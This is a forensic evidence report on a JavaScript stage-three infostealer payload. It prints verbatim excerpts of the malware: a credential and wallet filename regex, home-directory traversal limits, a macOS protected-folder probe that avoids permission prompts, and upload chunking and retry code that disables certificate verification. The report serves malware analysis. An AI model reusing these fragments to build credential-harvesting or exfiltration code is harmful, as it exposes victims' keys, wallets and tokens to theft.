E17. Stage-three collection and configuration analysis

Ilja Krasnjanski
24 October 2026 · Edited evidence report
Historical evidence through 24 July 2026; later engineering checks identified separately.

This report synthesizes the cited case records. Exhibits distinguish retained artifact excerpts from secondary analytical records and claims whose original inputs are unavailable. Excerpts may be redacted or reformatted; extraction methods and limitations are stated locally. Fingerprints identify inputs, not the truth of their claims. Bracketed S labels identify the analysis records listed at the end.

Material and collection variants

Static examination of the large JavaScript payload records upload variants named main, pass and phase3. These are implementation labels rather than mutually exclusive data classes. The phase3 branch walks the home directory and selects candidate files by name and extension. Its lexical terms include keys, wallets, phrases, seeds, mnemonics, secrets, credentials, recovery material and tokens. Formats include JSON, YAML, TOML, INI, property lists and environment files. [S1]

This is broader than an environment-file search, but it does not parse every candidate file or identify every secret. Naming, access permissions and traversal limits affect the actual result. No endpoint collection yield is established.

Traversal limits

The recorded defaults are eight minutes for the phase, two minutes per root, fifteen seconds for a directory read, 2,500 directories, depth six and 500 candidate files. Environment overrides can change several limits. Exclusions cover selected system, cache, dependency and cloud-storage locations. Defaults demonstrate bounded selection logic, not successful operation at scale. [S1]

On macOS the code probes readability of selected protected top-level home directories and skips failed or timed-out probes. This is conditional access checking and prompt avoidance. It does not prove a universal TCC bypass or that a prompt can never occur under different system versions and race conditions.

Transfer configuration

The recorded upload path uses a default chunk size of 2 MiB and a five-retry chunk setting. A separate upload-until-success routine can repeat attempts with increasing delays capped at 120 seconds. These are distinct retry layers; neither proves delivery to the server. The inspected HTTPS request path disables certificate verification. That weakens server authentication but is not evidence that traffic was intercepted. [S1]

Build placeholders and GUS-prefixed settings expose server, token, client-seed, cleanup and transfer configuration. Bearer values are omitted. A setting's presence does not establish its effective value in every deployment.

Limits

This document reports static source behavior. Network blocking can interrupt uploads; retry code does not make exfiltration inevitable. Successful receipt would require endpoint or server evidence. The reference sample is SHA-256 `694626bed2df1f0d0026a3f7ead7692b44c7e73041cdd799b79a025335533cdc`. [S2]

Exhibits

Exhibit E17-1. Selection constants and the credential filename expression

Artifact: Large JavaScript stage-three payload (reference sample) · 1,140,214 bytes · SHA-256
`694626bed2df1f0d0026a3f7ead7692b44c7e73041cdd799b79a025335533cdc`
Location: lines 1–8, 27, 35–38
Extraction: `sed -n '1,8p;27p;35,38p' stage3.js`
Supports: the phase3 lexical terms; the 8-minute, 2-minute, 15-second and 2,500-directory defaults

```
const MAX_ENV_FILE_BYTES = 5 * 1024 * 1024;
const MAX_PAT_FILE_BYTES = 2 * 1024 * 1024;
const MAX_FILES_ENV = 800;
const MAX_FILES_PAT = 1500;
const MAX_FILES_IMP = 2000;
const MAX_DEPTH_PAT = 7;
const MAX_DEPTH_IMP = 5;

const CREDENTIAL_NAME_RE = /(?:^|[^a-z0-9])(?:keys?|private|priv|wallet|phrase|passphrase|see\
d|mnemonic|secret|credential|password|passwd|pass|pwd|backup|recovery|keystore|api[_-]?key|to\
kens?)(?:[^a-z0-9]|$)/i;
const DEFAULT_PHASE3_MAX_MS = 8 * 60 * 1000;
const DEFAULT_PHASE3_ROOT_MAX_MS = 2 * 60 * 1000;
const DEFAULT_READDIR_TIMEOUT_MS = 15 * 1000;
const DEFAULT_WALK_MAX_DIRS = 2500;
```

Verbatim; line 27 is hard-wrapped with a trailing backslash. The name expression covers keys, wallets, phrases, seeds, mnemonics, secrets, credentials, recovery, keystore, API keys and tokens. Lines 1–8 show the per-search caps that apply alongside the walker defaults in E17-2.

Exhibit E17-2. Walker defaults: depth six and 500 files

Artifact: Large JavaScript stage-three payload (reference sample) · 1,140,214 bytes · SHA-256
`694626bed2df1f0d0026a3f7ead7692b44c7e73041cdd799b79a025335533cdc`
Location: lines 507–522
Extraction: `sed -n '507,522p' stage3.js`
Supports: "depth six and 500 candidate files"

```
/** Small git metadata trees only — sync walk is fine here. */
function walkLimited(root, opts) {
  const {
    maxDepth = 6,
    maxFiles = 500,
    maxBytes = MAX_ENV_FILE_BYTES,
    matchFile = null,
    onFile = null,
    onDir = null,
    homeRoot = null,
  } = opts || {};
  let count = 0;
  const walk = (dir, depth) => {
    if (count >= maxFiles || depth > maxDepth) return;
    let ents;
```

These are the generic walker's defaults. Specific searches pass their own limits: the "Pat" search uses `MAX_DEPTH_PAT = 7` and `MAX_FILES_PAT = 1500` (E17-1, lines 4 and 6), so depth six and 500 files are defaults rather than limits on every search.

Exhibit E17-3. macOS protected-directory probe

Artifact: Large JavaScript stage-three payload (reference sample) · 1,140,214 bytes · SHA-256
`694626bed2df1f0d0026a3f7ead7692b44c7e73041cdd799b79a025335533cdc`

Location: lines 43–56 and 64–82

Extraction: `sed -n '43,56p;64,82p' stage3.js`

Supports: the probe of protected top-level home folders, skipped on failure or timeout

```
/** macOS TCC-sensitive home subfolders — probed once; scanned only if already readable (no e\
nv flag). */
const MACOS_TCC_TOP_LEVEL = new Set([
  "desktop", "documents", "downloads", "movies", "music", "pictures", "public",
  "icloud drive", "cloudstorage",
]);

function isDarwin() {
  return os.platform() === "darwin";
}

function isMacTccTopLevelName(name) {
  return MACOS_TCC_TOP_LEVEL.has(String(name || "").toLowerCase());
}

/** Sync callers must not block on TCC/iCloud — use cache or pessimistic skip until async pro\
be runs. */
function macProbeDirReadableOnce(dirPath) {
  const key = path.resolve(dirPath);
  if (macTccReadableCache.has(key)) return macTccReadableCache.get(key);
  macTccReadableCache.set(key, false);
  return false;
}

async function macProbeDirReadableOnceAsync(dirPath, timeoutMs, log) {
  const key = path.resolve(dirPath);
  if (macTccReadableCache.has(key)) return macTccReadableCache.get(key);
  let ok = false;
  try {
    await readdirWithTimeout(key, timeoutMs);
    ok = true;
  } catch (e) {
    if (e && e.code === "READDIR_TIMEOUT") {
      if (log) log(`phase3: mac probe timeout (skip): ${key}`);
    }
```

Verbatim. The comment on line 43 states the design: probed once and scanned only if already readable. Permissions already granted to the process therefore still determine what is reached.

Exhibit E17-4. Upload chunking, retries and certificate verification

Artifact: Large JavaScript stage-three payload (reference sample) · 1,140,214 bytes · SHA-256
`694626bed2df1f0d0026a3f7ead7692b44c7e73041cdd799b79a025335533cdc`

Location: lines 1188–1196, 1369–1370, 1380–1384, 1408–1414

Extraction: `sed -n '1188,1196p;1369,1370p;1380,1384p;1408,1414p' stage3.js`

Supports: 2 MiB chunks, five chunk retries, a 120-second retry cap, rejectUnauthorized false, GUS-prefixed settings

```
  const v = String(process.env.OVERLORD_DELETE_LOGS || process.env.GUS_DELETE_LOGS || "")
    .trim()
    .toLowerCase();
  return !(v === "1" || v === "true" || v === "yes");
}

function shouldKeepAgentState() {
  const v = String(process.env.OVERLORD_KEEP_AGENT_STATE || process.env.GUS_KEEP_AGENT_STATE \
|| "")
    .trim()
const CW_CHUNK_SIZE = Number(process.env.GUS_UPLOAD_CHUNK_SIZE) || 2 * 1024 * 1024;
const CW_CHUNK_RETRIES = 5;
        path: u.pathname + (u.search || ""),
        method,
        headers,
        ...(isHttps ? { rejectUnauthorized: false } : {}),
      },
}

function parseUploadRetryDelayMs(attempt) {
  const base = Number(process.env.OVERLORD_UPLOAD_RETRY_DELAY_MS) || 5000;
  const cap = Number(process.env.OVERLORD_UPLOAD_RETRY_DELAY_MAX_MS) || 120000;
  const step = Math.max(1000, base);
  return Math.min(cap, step * Math.max(1, attempt));
```

Verbatim. No server value or token appears in these spans; the embed placeholders (`%%GUS_EMBED…`) are build-time markers, not credentials.

Exhibit inputs

Retained inputs identified by size and SHA-256. These include artifacts and analytical records; each exhibit identifies its evidence type and extraction limitations. The files themselves are not distributed.

Large JavaScript stage-three payload (reference sample) · 1,140,214 bytes

`SHA-256 694626bed2df1f0d0026a3f7ead7692b44c7e73041cdd799b79a025335533cdc`

Source records and fingerprints

SHA-256 identifies the reviewed source bytes, not acquisition time or every artifact described. Restricted originals are not reproduced.

[S1] Stage-three collection and configuration analysis, 22 July 2026 · 9,755 bytes

`SHA-256 22fb14f77f99ffbacdf538951b6ad3d02b26a71d5c307276754cce08d1687869`

[S2] Companion validation record, 21 October 2026 · 2,562 bytes

`SHA-256 613d16e0bed012c96e00a7db6e2f7260b263fa5cd3941d39d523a71dfc94a74d`